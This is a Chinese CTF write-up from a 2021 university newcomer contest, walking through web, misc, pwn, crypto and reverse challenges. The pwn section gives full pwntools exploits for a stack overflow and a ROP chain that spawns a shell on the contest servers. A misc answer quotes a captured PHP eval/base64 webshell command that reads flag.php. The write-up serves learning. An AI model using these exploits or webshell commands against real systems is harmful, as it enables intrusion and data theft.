新生赛wp

发布于 2021-11-08  173 次阅读


web:

俄罗斯方块

直接右键查看源码,简单浏览一下,发现flag

转转转:
尝试写脚本,一开始思路是重复点击按钮,但是半天没想到咋完成点击的操作,然后就看了看源码,发现了盲点

url:'data.php'

也许这就是突破口,访问一下

果然,发现了关键,那么剩下的事情就很简单了。
直接访问获取内容,然后大量循环,就可以得到flag了
这里拿之前从嵩天老师那里学到的爬虫通用代码框架稍作修改,添加一个for循环就可以直接用

 import requests
def getHtmlText(url):
    try:
        r = requests.get(url, timeout=30)
        r.raise_for_status()  # 如果状态不是200,引发HTTPerror异常
        r.encoding = r.apparent_encoding
        return r.text
    except:
        return "产生异常"

if __name__ == "__main__":
    url = "http://9eff8981-5ff4-4ef2-a5d0-05a91aab685c.race.nynusec.com/data.php"
    for i in range(100):
        print(getHtmlText(url))

得到结果

easy_rce:

点进去之后提示,flag in flag.php,访问一下,得到flag

你够快吗?

又到了写脚本的时候,太久没写已经差不多忘完了,好在我当时学的时候有写博客,再次翻出尘封已久的博客,找到了当时写的的代码框架。
https://blog.csdn.net/m0_52164435/article/details/117629183?spm=1001.2014.3001.5501

import requests
from bs4 import BeautifulSoup
s = requests.session() #使用session保持会话不变,表达式不变
r = s.request("GET","http://114.67.246.176:10454/")
#向服务器获取页面信息
r.encoding = "utf-8"
#调用bs4获取要计算的式子并进行处理
soup = BeautifulSoup(r.text,"html.parser")
a = eval(soup.div.string[0:-3])
datas = {"value":a}
#提交
print(s.post("http://114.67.246.176:10454/",data = datas).text)

嗯很好,稍微改改就能用
修改后脚本如下

import requests
from bs4 import BeautifulSoup

s = requests.session()  # 使用session保持会话不变,表达式不变
r = s.request("GET", "http://8fccac96-a5bd-456c-89a4-105166c138c8.race.nynusec.com/")
# 向服务器获取页面信息
r.encoding = "utf-8"
soup = BeautifulSoup(r.text, "html.parser")
# previous_sibling
print(soup)
# print(soup.div)
target = soup.select('div')
a = str(target[2])#获取第三个div标签内容,即目标字符串
print(a[33:41])#打印验证是否成功获取字符串
datas = {"randomstring": a[33:41]}#F12查看发现提交的value值的键为randomstring




# 提交
print(s.post("http://8fccac96-a5bd-456c-89a4-105166c138c8.race.nynusec.com/", data=datas).text)

运行,得到flag

misc

简单题保命

解压文件后得到一张图片,一个有密码的压缩包
根据提示为猪圈加密

解密后得到密码,比较鬼的是解完得到的是大写字母,但压缩包密码为小写....
然后emoji解密,得到flag

sign_in

解压得到图片,调整高度,得到flag

学长的爱护

解压后得到一个带密码的压缩包,和一个文本

ZxtykyKsyczMjjykgxkyzzgyu'ukaekutnurcasnruogkbgntouuzuuxtqgnut.azyxtukuukamnckkjzsykktojtjunsvkzotkhjOjikujaztcxcuuokcogvcsxnykeosgkrhutjxkolunzgkx,kykouerzuyyrk.eguy.ykzvkuhmuyhzetunjxltqcerxur.

ZGENYUOYAYOXVYY

*通往成功的道路必定荆棘丛生。面对栅栏后的凯撒大将,不如效仿关二爷,过五关斩六将;

根据提示,栅栏后的凯撒,五关六将,得到栅栏加密5,凯撒加密6的信息,解密得到压缩包密码,再解压得到一个ok?文件,okk加密,注意选择解密网站一定要谨慎,我第一个网站解密有长度限制,最后搞半天搞不出来,才发现原来解密得到的字符串不完整,浪费好多时间。解完之后是一个base32,然后base64转图片得到二维码,扫描后得到flag

我是大黑阔

解压发现saz文件,使用fiddler打开,浏览一下,发现提示的ping,挨个翻一下,得到flag

morse_code

得到一个带密码的压缩包,根据提示,前几位已知后五位未知,明显掩码爆破,实用工具进行爆破,爆破后得到zip的密码。


解压完毕后是是一个文本文件,内容为0101字符串,根据题目摩斯密码,将0换成. 1替换为-,进行摩斯解码
得到flag

眼巴巴

这题略坑.....改高度没有,foremost没东西,010检查没有异常,属性看了也没东西,然后lsb慢慢翻,RGB 0位1位2位,RBG 0位1位2位...一直翻到最后准备放弃的时候,发现了关键

01101110
01111001 01101110
01110101 01100011
01110100 01100110
01111011 01110111
01100101 00110001
01100011 00110000
01101101 01100101
01011111 01101110
01111001 01101110
01110101 01100011
01110100 01100110
01011111 01110010
00110100 01100011
01100101 01111101

提取之后删除换行,进行ascii转码得到flag

勇敢牛牛

下载后得到一个docx文档,上边有个图片,第一反应就是拖走图片,于是发现一个不知道干啥的密码和彩蛋....
然后开始处理这个图片,给了总不会是白给的,保存下来之后,010,foremost,lsb一顿操作啥也没发现。也许这东西确实没用....先瞅瞅别的,这还有个老大的文档,不管别的,先扔010里瞅瞅
这文件头,压缩包呀,扔foremost里让他分离一下
解压压缩包之后有很多文件,翻到这个目录
output\zip\word\media

里面有个叫flag的bmp图片,八成是bmp隐写,刚好前面还有个不知道干啥的密码,拿软件操作一下得到flag

我裂开

解压完得到一个无法打开的gif,啥也不用想了,扔010吧,
缺少文件头,GIF文件头有两种GIF87a和GIF89a,不知道这个是那种,先加个89a试试

发现可以成功打开了,之后逐帧分离,其中有一帧存在二维码

扫一下
得到一堆奇怪的字符

DL$,B@ru=0@VKIfDdRcDF^J`8DId*/FF=

题目反复出现85,这应该是提示,结尾又有等号填充,猜测一下base85解密
解密,猜测正确,得到flag

nynuctf{biggo_y0u_f1nd_1t}

我是大黑阔2

这是个流量分析,扔wireshark里简单浏览一下没发现什么,于是无脑导出http发现异常
挨个文件点开看,发现符合题目的入侵行为,flag就应该在这里面了,
在第八个文件里发现了flag的痕迹,答案越来越近了。继续向下翻,在第十四个文件有了新发现

eval(base64_decode('ZWNobyBiYXNlNjRfZW5jb2RlKGd6ZGVmbGF0ZShmaWxlX2dldF9jb250ZW50cygnZmxhZy5waHAnKSkpOw=='))=s7EvyCjg5VJJy0lMt1XKq8wrTS5JqzZJTTRINTFP001MtkzTNTFNNta1sDA20

把中间的东西base64解码一下
得到了这个

echo base64_encode(gzdeflate(file_get_contents('flag.php')));

那后面等号的部分应该就是flag的内容了,但这里还有一个不知道啥功能的函数gzdeflate,去查了一下

这是个压缩函数,那么解码的时候就要用对应的解压函数,没有php环境,于是找了个在线网站

php的语法和c++感觉有点像,虽然不是很熟悉,但跟着报错修修改改也还是写出来了,成功拿到flag

pwn

stack

首先万年第一步

checksec,发现没有栈溢出保护,看看题目,多半这题是个栈溢出了
拖进ida,看一下几个关键函数,main,pwnme,和stack



很明显,只需要栈溢出返回地址去执行stack函数就可以了,简简单单

看一下s的栈空间,只分配了0x9的地址,还有4字节长的bp,于是事情就很简单了,构建payload

payload = b'a'*(0x9+4)+p32(system_addr)

system_addr可以在ida中获取

所以,完整的exp为

from pwn import *

c = remote("cdocker.race.nynusec.com",28765)

payload = b'a'*(0x9+4)+p32(0x804850F)

c.recvuntil("32bits\n")
c.sendline(payload)

c.interactive()

pwn1-rop

从题目就能看出来,这题是个rop
万年第一步,checksec

保护基本全没
拖进ida,64位程序,查看main函数

发现溢出点,于是从此处溢出开始构造rop链的第一环

查看v4的栈结构,准备构造栈溢出进行第一次跳转
再构造之前,首先需要理清整个跳转思路
目的是使system函数获得bin/sh作为参数获取shell,且此程序为64位程序,那么根据64为程序函数调用首先将参数压入rdi寄存器的原理,我们需要一个pop rdi的指令,使bin/sh能够作为system的参数进行调用,所以需要system的地址,字符串bin/sh的地址,pop rdi的地址。
整个ROP链即为首先使用栈溢出跳转到pop rdi,将栈中的bin/sh作为参数放入rdi,紧接着ret到system处执行指令获取shell。
于是构建payload如下

payload = b'a'*(0x10+8)+p64(rdi_addr)+p64(binsh_addr)+p64(sys_addr)

system函数地址,bin/sh的函数地址都可以从ida中获取,pop rid 可以使用小工具ROPgadget得到

0x0000000000400683 : pop rdi ; ret

万事具备,补充完整脚本

from pwn import *
elf =ELF('./pwn1-rop')
#sys_addr = elf.symbols['system']
context.log_level = "debug"
sys_addr = 0x40048c #因为环境不同,需要使用hint中的system地址
binsh_addr = 0x601048
rdi_addr = 0x400683
sh = remote("docker.race.nynusec.com",28486)
payload = b'a'*(0x10+8)+p64(rdi_addr)+p64(binsh_addr)+p64(sys_addr)

sh.recvuntil("Welcome to NYNUCTF")
sh.sendline(payload)
sh.interactive()

Crypto

混元形意太极门

题目很简单

flag = bytearray(b"nynuctf{}")

n = len(flag)

assert n == 45

for i in range(n):
    flag[i] ^= i
    flag[i] ^= 10
    flag[i] ^= 24

for i in range(n // 2):
    tmp = flag[i]
    flag[i] = flag[n - 1 - i]
    flag[n - 1 - i] = tmp

for i in range(n-1):
    flag[i] ^= flag[i+1]

print(flag.hex())
输出:
1f5c0b06595554025001040123185306064e1b060b031a150957004e5650070206510102161c1116111a14167c

没啥逻辑难度,倒着写一遍就好了
倒数第一个函数是将flag[i]与flag[i+1]进行异或,得到的值赋给flag[i],
c++脚本构建如下

for(int i = n-1; i >0 ; i--)
    enflag[i-1] ^= enflag[i];

倒数第二个函数
就是将flag进行倒叙,很简单的算法,还原脚本甚至不用改动可以直接照抄

for(int i = 0; i <= n/2; i ++)
    {
        tmp = enflag[i];
        enflag[i] = enflag[n - 1 - i];
        enflag[n - 1 - i] = tmp;
    }

最后一个函数也只是单纯的异或,没啥好分析的,直接倒着异或一遍就好

for(int i = 0; i < n; i ++)
    {
        enflag[i] ^= 24;
        enflag[i] ^= 10;
        enflag[i] ^= i;
    }

剩下的最后一个问题就是怎么处理这个16进制数据,既然是16进制,那直接大胆猜测,两位一组表示一个字节,验证也很简单,用.length()函数量一下结果的长度是不是n的二倍就可以了,结果也符合我的猜想,长度确实是90。最后的问题也解决了,直接补完脚本运行跑结果就好

#include
using namespace std;
int main()
{
    int n = 45;
    int enflag[] = {0x1f,0x5c,0x0b,0x06,0x59,0x55,0x54,0x02,0x50,0x01,0x04,0x01,0x23,0x18,0x53,0x06,0x06,0x4e,0x1b,
                    0x06,0x0b,0x03,0x1a,0x15,0x09,0x57,0x00,0x4e,0x56,0x50,0x07,0x02,0x06,0x51,0x01,0x02,0x16,0x1c,
                    0x11,0x16,0x11,0x1a,0x14,0x16,0x7c};
    for(int i = n-1; i >0 ; i--)
    enflag[i-1] ^= enflag[i];
    int tmp = 0;
    for(int i = 0; i <= n/2; i ++)
    {
        tmp = enflag[i];
        enflag[i] = enflag[n - 1 - i];
        enflag[n - 1 - i] = tmp;
    }
    for(int i = 0; i < n; i ++)
    {
        enflag[i] ^= 24;
        enflag[i] ^= 10;
        enflag[i] ^= i;
    }
    for(int i = 0; i < n; i ++)
    cout << char(enflag[i]);
    return 0;
}

Reverse

sign

这是个签到题,查一下是32位然后直接扔ida。
main函数看起来没啥异常,shift+F12看一下字符串

发现两个异常字符串,第一个是base64的码表,第二个就明显是base64加密后的密文了,复制下来解码得到flag

nynuctf{we1com3_t0_reServe!}

送分题

查一下程序为64位,扔ida,直接看main

很好,足够简单明了,啥也不用想了,直接算吧,不过有个小坑,后边v17和v18的位置颠倒了写的时候需要注意下
全部计算出来之后结果如下

110 121 110 117 99 116 102 123 101 49 54 53 52 50 49 49 49 125

转成字符后得到flag

nynuctf{e16542111}

???

依旧万年开头,查壳看位数,扔ida
找到主函数

相当的简洁明了,没有一点弯弯绕绕,直接把密文按位异或位数+1就行,甚至连代码都不怎么用改

#include
#include
using namespace std;
int main()
{
    string a = "ymqmvqoi}";
    for(int i = 0 ; i < a.length(); i ++)
    {
        a[i]^=i+1;
    }
    cout << a << endl;
 } 

运行,套上nynuctf得到flag

nynuctf{xoriswhat}

加法减法

老开头,查壳看位扔ida
直接看main函数

结构还是很简单,只要是字母,以大小写为区分,和一个数组中的数据进行加减法操作,使用lowbyte方法只是为了方便取数据,不影响函数整体功能。
了解了函数功能想要还原原始数据就非常简单了,加变减,减变加就可以了,不过需要特别注意的是ascii码为90-96的字符,这个区间的字符可能是大写字母被加得到的,也可能是小写字母被减得到的。所以需要特判一下
以下为密文,可以看到ascii码为90-96之间的字符只有“^”和“_”,而对应的数组分别为3,4,5,3,

kulqbsa{^bb_Ehb_VZa_Qlbm}

数组长为20,密文长度为25,如果去掉左右括号和下划线则刚好一一对应。
“^”的ascii码为94,94-3=91,不在处理范围内,94+3=97,为字母a,所以“^”只可能是由a-3得到的,或者他没有被处理,两种可以都试一试
可以开始写脚本了
导出dword_40700中的数据,存入数组中,数据中有很多0,手动删掉,此时再写脚本时就可以省去lowbyte操作。所以脚本构建如下

#include
#include 
using namespace std;
int main()
{
    int dword_407000[] = {3,4,2,4,1,1,5,3,2,2,4,6,2,3,5,1,2,4,3,5};
    string Str = "kulqbsa{^bb_Ehb_VZa_Qlbm}";
    int v3 = 0;
    int v2 = 0;
    while ( v3 < 25 )
    {
      if ( Str[v3] > 64 && Str[v3] <= 90 )
        Str[v3] -= dword_407000[v2++];
      if ( Str[v3] > 96 && Str[v3] <= 122 )
        Str[v3] += dword_407000[v2++];
      if(Str[v3] == 94)
      Str[v3] +=  dword_407000[v2++];

      v3++;
    }
    cout << Str <

运行之后得到flag,也不用检验另一组了

nynuctf{add_And_SUb_Oper}

解方程

这个题很有意思,但也折磨我许久...一开始思路跑偏于是再错误的道路上策马狂奔,写了200行的c++脚本,得到5组共计20w+的数据,并一直相信自己的思路是正确的.....直到看到了hint才终于恍然大悟。

题目分析第一步仍然是查壳看位扔ida,找到main函数
首先看一下整体结构,strcat是我分析后改的名字,可以忽视,整个程序下来,最开始的if先对输入的flag进行一个格式判断,然后再根据某种运算得到v11,v12,v13,v14的值,然后判断他们的值是否满足方程,解完方程后可以得到他们的值,v11和v12的解为32094或35484v13和v14的解为15130或19562。然后开始分析上面的函数,strcat是我分析后重新命名的,点进去看一眼函数功能

很清晰,operator new的功能是开辟空间,参数传入的是a3+1,在这个程序中,该函数调用的a3全部为4,再结合下面的赋值语句,就可以很轻松的得到这个函数的功能,开辟五个大小的空间,并将原字符串即flag中取出4个字符放入,并在最后存入结尾符
然后分析下一个函数,sub_40100F。
点进去

一开始我以为这是个单向加密函数,需要暴力跑出所有解,然后和flag格式中的三个减号构成一个等式以此作为筛选,但其实并不是,当看到最后的for循环是依次乘16的三次方,二次方,一次方和零次方时就应该想到这是个16进制转换十进制的操作。分析到这里,整个程序的逻辑也就清晰了,三个减号仅用于分组,32094,35484对应flag第一组或第二组。15130,19562分别对应flag的第三组或第四组。这样就得到了四种可能的flag,分别提交试一下就可以了
四组flag

nynuctf{7d5e-8a9c-3b1a-4c6a}
nynuctf{7d5e-8a9c-4c6a-3b1a}
nynuctf{8a9c-7d5e-3b1a-4c6a}
nynuctf{8a9c-7d5e-4c6a-3b1a}

正确的flag为最后一个